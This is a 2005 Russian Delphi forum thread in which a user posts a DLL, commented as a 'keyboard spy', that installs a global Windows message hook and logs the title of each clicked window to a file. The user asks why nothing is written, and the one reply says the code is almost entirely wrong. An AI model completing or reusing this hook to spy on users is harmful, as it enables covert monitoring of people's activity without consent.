Вниз
Скачать: CL | DM;

Перехват сообщений от мыши   Найти похожие ветки 

← →
Виталий11111   (2005-10-13 15:00) [0]

ibrary spydll;

{ DLL для клавиатурного шпиёна}

uses Windows, Messages, SysUtils, Dialogs;
var SystemHook: HHook = 0;
Wnd : HWND = 0;
f: TextFile;
wtext: array[0..255] of Char;
fdir: String;

function SysMsgProc(Code: Integer; wParam: Word; lParam: LongInt):LongInt;stdcall;
begin
Result := CallNextHookEx(SystemHook, Code, wParam, lParam);
if Code = HC_ACTION then
 begin
  if TMsg(Pointer(lParam)^).message = WM_LBUTTONDOWN then
   begin
    AssignFile(f, "x.txt");
    if not FileExists("x.txt") then
     begin
      Rewrite(f);
      CloseFile(f);
     end;
    Append(f);
    Wnd := TMsg(Pointer(lParam)^).hwnd;
    GetWindowtext(Wnd, wtext, 255);
    WriteLn(f, wtext);
    Flush(f);
    CloseFile(f);
   end;
 end;
end;

procedure RunStopHook(State: Boolean) export;stdcall;
begin
if State then
 begin
  SystemHook := SetWindowsHookEx(WH_GETMESSAGE, @SysMsgProc, HInstance, 0);
 end
else
 begin
  UnhookWindowsHookEx(SystemHook);
  SystemHook := 0;
 end;
end;

exports RunStopHook index 1;

begin
end.

В файл ничего не пишется!!! В чём проблема?


← →
Eraser ©   (2005-10-13 15:01) [1]


> Виталий11111   (13.10.05 15:00)

В том что код неправильный... почти весь.



Страницы: 1 вся ветка

Скачать: CL | DM;



Память: 0.45 MB
Время: 0.025 c
1-1130999962
kblc
2005-11-03 09:39
2005.12.11
Есть ли у класса интерфейс?


14-1132522353
SerJaNT
2005-11-21 00:32
2005.12.11
ACPI


14-1132204863
Иг_Иг
2005-11-17 08:21
2005.12.11
Молодёжка Украины совершила чудо.........!


2-1132414523
Venum
2005-11-19 18:35
2005.12.11
TWebBrowser


3-1130245819
Sergey13
2005-10-25 17:10
2005.12.11
Ошибка ORA-01467 и как с ней бороться




   Наверх